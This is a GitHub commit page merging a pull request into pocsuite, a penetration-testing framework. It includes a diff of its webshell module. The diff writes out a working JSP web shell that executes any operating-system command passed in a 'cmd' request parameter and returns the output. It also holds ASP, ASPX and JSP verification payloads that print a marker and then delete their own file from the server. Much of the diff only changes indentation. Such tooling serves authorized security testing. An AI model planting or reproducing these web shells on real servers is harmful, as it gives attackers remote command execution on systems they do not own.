Skip to content

Commit 1a52e9f

Browse files
committed
Merge pull request #38 from knownsec/dev
Dev
2 parents 603a1b1 + 64e19c1 commit 1a52e9f

File tree

5 files changed

+42
-60
lines changed

5 files changed

+42
-60
lines changed

.gitignore

+1-1
Original file line numberDiff line numberDiff line change
@@ -18,4 +18,4 @@ man
1818
node_modules
1919
sdist
2020
venv
21-
pocsuite/modules/tmp/
21+
pocsuite/modules/tmp/*.py

pocsuite/__init__.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
"""
88

99
__title__ = 'pocsuite'
10-
__version__ = '1.0.0dev14'
10+
__version__ = '1.0.0dev16'
1111
__author__ = 'sebug.net'
1212
__author_email__ = '[email protected]'
1313
__license__ = 'GPL 2.0'

pocsuite/lib/utils/sebug.py

+1-19
Original file line numberDiff line numberDiff line change
@@ -10,22 +10,4 @@
1010

1111

1212
class sebugBase():
13-
14-
def __init__:
15-
self.token = None
16-
self.clinet = None
17-
18-
def show_static(self):
19-
pass
20-
21-
def retrieve_poc(self):
22-
pass
23-
24-
def self_profile(self):
25-
pass
26-
27-
def purchased_poc(self):
28-
pass
29-
30-
def show_rank(self):
31-
pass
13+
pass

pocsuite/lib/utils/webshell.py

+39-39
Original file line numberDiff line numberDiff line change
@@ -62,11 +62,11 @@ class AspShell(Webshell):
6262

6363
class AspVerify(VerifyShell):
6464
_content = '<%\n' \
65-
'Response.Write(Replace("202cTEST4b70","TEST",' \
66-
'"b962ac59075b964b07152d23"))\n' \
67-
'CreateObject("Scripting.FileSystemObject").' \
68-
'DeleteFile(Request.ServerVariables("Path_Translated"))\n' \
69-
'%>'
65+
'Response.Write(Replace("202cTEST4b70","TEST",' \
66+
'"b962ac59075b964b07152d23"))\n' \
67+
'CreateObject("Scripting.FileSystemObject").' \
68+
'DeleteFile(Request.ServerVariables("Path_Translated"))\n' \
69+
'%>'
7070
_keyword = '202cb962ac59075b964b07152d234b70'
7171

7272

@@ -81,52 +81,52 @@ class AspxShell(Webshell):
8181

8282
class AspxVerify(VerifyShell):
8383
_content = '<%@ Page Language="Jscript" ContentType="text/html" ' \
84-
'validateRequest="false" aspcompat="true"%>\n' \
85-
'<%Response.Write("202cTEST4b70".Replace("TEST",' \
86-
'"b962ac59075b964b07152d23"))%>\n' \
87-
'<%System.IO.File.Delete(Request.PhysicalPath);%>'
84+
'validateRequest="false" aspcompat="true"%>\n' \
85+
'<%Response.Write("202cTEST4b70".Replace("TEST",' \
86+
'"b962ac59075b964b07152d23"))%>\n' \
87+
'<%System.IO.File.Delete(Request.PhysicalPath);%>'
8888
_keyword = '202cb962ac59075b964b07152d234b70'
8989

9090

9191
class JspShell(Webshell):
9292
_content = '<%@ page import="java.util.*,java.io.*" %>\n' \
93-
'<%@ page import="java.io.*"%>\n' \
94-
'<%@ page import="java.util.*"%>\n' \
95-
'<%\n' \
96-
'if (request.getParameter("check") == "1")\n' \
97-
' out.println("202cTEST4b70".replace("TEST","b962ac59075b964b07152d23"));\n' \
98-
'if (request.getParameter("{0}") != null)\n' \
99-
'{{\n' \
100-
' Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));\n' \
101-
' OutputStream os = p.getOutputStream();\n' \
102-
' InputStream in = p.getInputStream();\n' \
103-
' DataInputStream dis = new DataInputStream(in);\n' \
104-
' String disr = dis.readLine();\n' \
105-
' while ( disr != null)\n' \
106-
' {{\n' \
107-
' out.println(disr);\n' \
108-
' disr = dis.readLine();\n' \
109-
' }}\n' \
110-
'\n}}' \
111-
'%>\n'
93+
'<%@ page import="java.io.*"%>\n' \
94+
'<%@ page import="java.util.*"%>\n' \
95+
'<%\n' \
96+
'if (request.getParameter("check") == "1")\n' \
97+
' out.println("202cTEST4b70".replace("TEST","b962ac59075b964b07152d23"));\n' \
98+
'if (request.getParameter("{0}") != null)\n' \
99+
'{{\n' \
100+
' Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));\n' \
101+
' OutputStream os = p.getOutputStream();\n' \
102+
' InputStream in = p.getInputStream();\n' \
103+
' DataInputStream dis = new DataInputStream(in);\n' \
104+
' String disr = dis.readLine();\n' \
105+
' while ( disr != null)\n' \
106+
' {{\n' \
107+
' out.println(disr);\n' \
108+
' disr = dis.readLine();\n' \
109+
' }}\n' \
110+
'\n}}' \
111+
'%>\n'
112112
_password = 'cmd'
113113
_check_data = {'check': '1'}
114114
_keyword = '202cb962ac59075b964b07152d234b70'
115115

116116

117117
class JspVerify(VerifyShell):
118118
_content = '<%@ page import="java.util.*,java.io.*" %>\n' \
119-
'<%@ page import="java.io.*"%>\n' \
120-
'<%@ page import="java.util.*"%>\n' \
121-
'<%\n' \
122-
'String path=request.getRealPath("");\n' \
123-
'out.println(path);\n' \
124-
'File d=new File(path);\n' \
125-
'if(d.exists()){{\n' \
126-
' d.delete();\n' \
127-
' }}\n' \
128-
'%>\n' \
129-
'<% out.println("202cTEST4b70".replace("TEST","b962ac59075b964b07152d23"));%>'
119+
'<%@ page import="java.io.*"%>\n' \
120+
'<%@ page import="java.util.*"%>\n' \
121+
'<%\n' \
122+
'String path=request.getRealPath("")+request.getServletPath();\n' \
123+
'out.println(path);\n' \
124+
'File d=new File(path);\n' \
125+
'if(d.exists()){{\n' \
126+
' d.delete();\n' \
127+
' }}\n' \
128+
'%>\n' \
129+
'<% out.println("202cTEST4b70".replace("TEST","b962ac59075b964b07152d23"));%>'
130130
_keyword = '202cb962ac59075b964b07152d234b70'
131131

132132

pocsuite/modules/tmp/.keep

Whitespace-only changes.

0 commit comments

Comments
 (0)